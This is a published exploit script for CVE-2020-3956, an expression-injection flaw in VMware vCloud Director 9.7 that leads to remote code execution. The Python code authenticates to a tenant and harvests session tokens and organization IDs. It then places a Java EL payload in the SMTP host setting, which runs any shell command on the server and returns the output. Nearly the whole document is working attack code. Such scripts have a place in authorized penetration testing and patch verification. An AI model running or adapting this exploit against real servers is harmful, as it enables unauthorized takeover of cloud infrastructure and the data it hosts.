1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138 | # Exploit Title: VMWAre vCloud Director 9.7.0.15498291 - Remote Code Execution
# Exploit Author: Tomas Melicher
# Technical Details: https://citadelo.com/en/blog/full-infrastructure-takeover-of-vmware-cloud-director-CVE-2020-3956/
# Date: 2020-05-24
# Vendor Homepage: https://www.vmware.com/
# Software Link: https://www.vmware.com/products/cloud-director.html
# Tested On: vCloud Director 9.7.0.15498291
# Vulnerability Description:
# VMware vCloud Director suffers from an Expression Injection Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) via submitting malicious value as a SMTP host name.
#!/usr/bin/python
import argparse # pip install argparse
import base64, os, re, requests, sys
if sys.version_info >= (3, 0):
from urllib.parse import urlparse
else:
from urlparse import urlparse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
PAYLOAD_TEMPLATE = "${''.getClass().forName('java.io.BufferedReader').getDeclaredConstructors()[1].newInstance(''.getClass().forName('java.io.InputStreamReader').getDeclaredConstructors()[3].newInstance(''.getClass().forName('java.lang.ProcessBuilder').getDeclaredConstructors()[0].newInstance(['bash','-c','echo COMMAND|base64 -di|bash|base64 -w 0']).start().getInputStream())).readLine()}"
session = requests.Session()
def login(url, username, password, verbose):
target_url = '%s://%s%s'%(url.scheme, url.netloc, url.path)
res = session.get(target_url)
match = re.search(r'tenant:([^"]+)', res.content, re.IGNORECASE)
if match:
tenant = match.group(1)
else:
print('[!] can\'t find tenant identifier')
return
if verbose:
print('[*] tenant: %s'%(tenant))
match = re.search(r'security_check\?[^"]+', res.content, re.IGNORECASE)
if match: # Cloud Director 9.*
login_url = '%s://%s/login/%s'%(url.scheme, url.netloc, match.group(0))
res = session.post(login_url, data={'username':username,'password':password})
if res.status_code == 401:
print('[!] invalid credentials')
return
else: # Cloud Director 10.*
match = re.search(r'/cloudapi/.*/sessions', res.content, re.IGNORECASE)
if match:
login_url = '%s://%s%s'%(url.scheme, url.netloc, match.group(0))
headers = {
'Authorization': 'Basic %s'%(base64.b64encode('%s@%s:%s'%(username,tenant,password))),
'Accept': 'application/json;version=29.0',
'Content-type': 'application/json;version=29.0'
}
res = session.post(login_url, headers=headers)
if res.status_code == 401:
print('[!] invalid credentials')
return
else:
print('[!] url for login form was not found')
return
cookies = session.cookies.get_dict()
jwt = cookies['vcloud_jwt']
session_id = cookies['vcloud_session_id']
if verbose:
print('[*] jwt token: %s'%(jwt))
print('[*] session_id: %s'%(session_id))
res = session.get(target_url)
match = re.search(r'organization : \'([^\']+)', res.content, re.IGNORECASE)
if match is None:
print('[!] organization not found')
return
organization = match.group(1)
if verbose:
print('[*] organization name: %s'%(organization))
match = re.search(r'orgId : \'([^\']+)', res.content)
if match is None:
print('[!] orgId not found')
return
org_id = match.group(1)
if verbose:
print('[*] organization identifier: %s'%(org_id))
return (jwt,session_id,organization,org_id)
def exploit(url, username, password, command, verbose):
(jwt,session_id,organization,org_id) = login(url, username, password, verbose)
headers = {
'Accept': 'application/*+xml;version=29.0',
'Authorization': 'Bearer %s'%jwt,
'x-vcloud-authorization': session_id
}
admin_url = '%s://%s/api/admin/'%(url.scheme, url.netloc)
res = session.get(admin_url, headers=headers)
match = re.search(r'<description>\s*([^<\s]+)', res.content, re.IGNORECASE)
if match:
version = match.group(1)
if verbose:
print('[*] detected version of Cloud Director: %s'%(version))
else:
version = None
print('[!] can\'t find version of Cloud Director, assuming it is more than 10.0')
email_settings_url = '%s://%s/api/admin/org/%s/settings/email'%(url.scheme, url.netloc, org_id)
payload = PAYLOAD_TEMPLATE.replace('COMMAND', base64.b64encode('(%s) 2>&1'%command))
data = '<root:OrgEmailSettings xmlns:root="http://www.vmware.com/vcloud/v1.5"><root:IsDefaultSmtpServer>false</root:IsDefaultSmtpServer>'
data += '<root:IsDefaultOrgEmail>true</root:IsDefaultOrgEmail><root:FromEmailAddress/><root:DefaultSubjectPrefix/>'
data += '<root:IsAlertEmailToAllAdmins>true</root:IsAlertEmailToAllAdmins><root:AlertEmailTo/><root:SmtpServerSettings>'
data += '<root:IsUseAuthentication>false</root:IsUseAuthentication><root:Host>%s</root:Host><root:Port>25</root:Port>'%(payload)
data += '<root:Username/><root:Password/></root:SmtpServerSettings></root:OrgEmailSettings>'
res = session.put(email_settings_url, data=data, headers=headers)
match = re.search(r'value:\s*\[([^\]]+)\]', res.content)
if verbose:
print('')
try:
print(base64.b64decode(match.group(1)))
except Exception:
print(res.content)
parser = argparse.ArgumentParser(usage='%(prog)s -t target -u username -p password [-c command] [--check]')
parser.add_argument('-v', action='store_true')
parser.add_argument('-t', metavar='target', help='url to html5 client (http://example.com/tenant/my_company)', required=True)
parser.add_argument('-u', metavar='username', required=True)
parser.add_argument('-p', metavar='password', required=True)
parser.add_argument('-c', metavar='command', help='command to execute', default='id')
args = parser.parse_args()
url = urlparse(args.t)
exploit(url, args.u, args.p, args.c, args.v)
|
